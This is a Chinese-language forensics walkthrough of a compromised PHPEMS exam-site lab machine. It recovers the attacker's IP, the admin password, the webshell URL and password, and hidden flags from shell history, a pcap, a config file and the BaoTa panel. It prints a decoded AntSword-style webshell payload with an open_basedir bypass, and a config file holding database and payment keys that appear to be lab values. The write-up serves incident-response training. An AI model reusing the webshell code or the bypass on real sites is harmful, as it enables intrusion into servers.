载入虚拟机,打开虚拟机:
居然是没有图形化界面的那种linux,账户密码:root/Inch@957821.(注意是大写的i还有英文字符的.)
查看虚拟机IP,192.168.230.10是NAT模式下自动分配的
看起来不是特别舒服,用连接工具MobaXterm或者Xshell进行连接:
查看当前路径下的文件:
发现有wp和数据包两个看起来挺重要的文件
wp文件有执行权限,先运行wp:
看来wp是个解题程序
1、攻击者IP
2、攻击者修改的管理员密码
3、第一次webshell的连接URL
4、webshell连接密码
5、数据包的flag1
6、攻击者使用的后续上传的木马文件名称
7、攻击者隐藏的flag2
8、攻击者隐藏的flag3
下载数据包1.pcang
上传whoamifuck.sh文件,给予执行权限并运行:
得到两个IP,但应该只有一个IP是攻击者的(题目没说有两个IP),试验一下是哪个IP
看来攻击者IP是192.168.20.1
history命令查看历史命令,发现flag3:
得到flag3:flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
wireshark打开刚才下载的数据包1.pcang
ip.addr==192.168.20.1,搜索关键词”flag1“:
当然也可以追踪tcp流,发现在流20:
得到flag1:flag1{Network@_2020_Hack}
查看开放的服务有哪些:
./whoamifuck.sh -x
发现mysqld和bt服务在运行(这个bt后面再讲)
在/www/wwwlogs/access.log中发现了”GET /phpmyadmin“:
说明网站搭建数据库是使用了phpmyadmin,直接去找配置文件config.inc.php
最后在/www/wwwroot/127.0.0.1/lib目录下找到了config.inc.php文件:
查看config.inc.php文件内容:
<?php
/** 常规常量设置 */
define('DOMAINTYPE','off');
define('CH','exam_');
define('CDO','');
define('CP','/');
define('CRT',180);
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');//请随机生成32位字符串修改此处值
define('HE','utf-8');
define('PN',10);
define('TIME',time());
if(dirname($_SERVER['SCRIPT_NAME']))
{
define('WP','http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/');
}
else
{
define('WP','http://'.$_SERVER['SERVER_NAME'].'/');
}
define('OPENOSS',false);
/**接口加密设置**/
define('APIKEY','356d9abc2532ceb0945b615a922c3370');
define('APIIV','#phpems90iv*');
/**composer开关**/
define('COMPOSER',0);
/** 数据库设置 */
define('SQLDEBUG',0);
define('DB','kaoshi');//MYSQL数据库名
define('DH','127.0.0.1');//MYSQL主机名,不用改
define('DU','kaoshi');//MYSQL数据库用户名
define('DP','5Sx8mK5ieyLPb84m');//MYSQL数据库用户密码
define('DTH','x2_');//系统表前缀,不用改
/** 微信相关设置 */
define('USEWX',false);//微信使用开关,绑定用户,false时不启用
define('WXAUTOREG',false);//微信开启自动注册,设置为false时转向登录和注册页面,绑定openid
define('WXPAY',false);
//define('FOCUSWX',true);//强制引导关注微信
//define('WXQRCODE','qrcode.png');//微信公众号二维码地址
define('EP','@phpems.net');//微信开启自动注册时注册邮箱后缀
define('OPENAPPID','wx7703aa61284598ea');//开放平台账号
define('OPENAPPSECRET','36745ed4d4ea9da9f25e7b3ccd06d5ef');
define('MPAPPID','wx7703aa61284598ea');//小程序账号
define('MPAPPSECRET','36745ed4d4ea9da9f25e7b3ccd06d5ef');
define('WXAPPID','wx6967d8319bfeea19');//公众号账号
define('WXAPPSECRET','4d462a770aebb7460e2284cbd448cee0');
define('WXMCHID','1414206302');//MCHID
define('WXKEY','72653616204d16975931a46f9296092e');
/** 支付宝相关设置 */
define('ALIPAY',false);
/**MD5**/
define('ALIPART','111171660');
define('ALIKEY','os11111117fmljymmcau');
define('ALIACC','111111@qq.com');
/**RAS2**/
define('ALIAPPID','2016072738');
define('ALIPRIKEY','MIIEogIBAMXsHR2vhl3BqWBbXfDaIcrJgNssIUddVCX6fT9YWiPXCiCeu5M=');
define('ALIPUBKEY','MIIBIjANXRkaDw6wIDAQAB');
/** payjz相关设置 */
define('PAYJSASWX','NO');//使用PAYJZ的微信支付接口代替微信支付,不使用请设置为NO
define('PAYJSMCHID','1551052561');
define('PAYJSKEY','Zz8ks1ZP3UPKeTGi');
?>
数据库账户密码:
kaoshi: 5Sx8mK5ieyLPb84m
登录数据库:
mysql -ukaoshi -p5Sx8mK5ieyLPb84m
show databases;
use kaoshi;
show tables;
select * from x2_user_group;
select * from x2_user where userid=1;
得到管理员密码是Network@2020
再次回到wireshark的报文,由前面的flag1在tcp流的流20中,从1开始查看:
发现在流1是一堆乱码,流2中第一次看到正常的报文,url解码流2的关键代码
Network2020=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item."/.fd491f470fb7";
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "4a0c"."dc70";
echo @asenc($output);
echo "db6"."da5";
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
丢个AI分析一下:
那就找对了,说明第一次webshell的连接URL是:index.php?user-app-register
此时注意到Network2020=@ini_set("display_errors", "0");
这句代码基本是所有webshell客户端链接PHP类WebShell都有的一种代码
比如蚁剑:
得知webshell连接密码是:Network2020
为了获取webshell木马文件,将http包和POST请求过滤出来:
http && http.request.method==POST
发现POST了一个version2.php,此时回想起history命令得到的结果中显示了删除version2.php的命令记录,version2.php应该是木马文件?
后面追踪了version2.php的tcp流
看到别人说这是冰蝎的webshell特征:
去wp验证一下对不对吧
说明后续上传的木马名称是version2.php
还差一个flag2,再回顾一下history命令:
发现在隐藏目录.api/中修改了mpnotify.php和alinotify.php文件
看看修改了alinotify.php什么内容:
成功得到flag2:flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}
总结一下:
1、192.168.20.1
2、Network@2020
3、index.php?user-app-register
4、Network2020
5、flag1{Network@_2020_Hack}
6、version2.php
7、flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}
8、flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
成功攻克该靶机!
前面提到的bt是什么,bt是宝塔面板,该靶机是利用宝塔面板管理的
修改宝塔面板密码为root:
查看宝塔面板默认信息:
https://192.168.230.10:12485/5a2ce72d
uysycv5w/root
登录宝塔面板:
在“日志”模块发现基本上都是192.168.20.1的IP地址访问:
当然,在“网站”模块一样能发现异常访问:
攻击者IP:192.168.20.1
在“数据库”模块查看phpMyAdmin管理员密码:
一眼看出是md5加密:
管理员密码:Network@2020
在“网站”模块中添加靶机IP(192.168.230.10)
访问靶机,发现是个PHPEMS模拟考试系统:
利用获取到的管理员账户密码:peadmin/Network@2020进行登录,进入到“后台管理”:
在“文件”模块的“内容/标签管理/标签修改”处发现木马,且位置在“注册页面”:
得到webshell连接密码:Network2020
注册页面URL:
得知第一次webshell连接的URL:index.php?user-app-register
后续的步骤也基本一致了,这里就不再赘述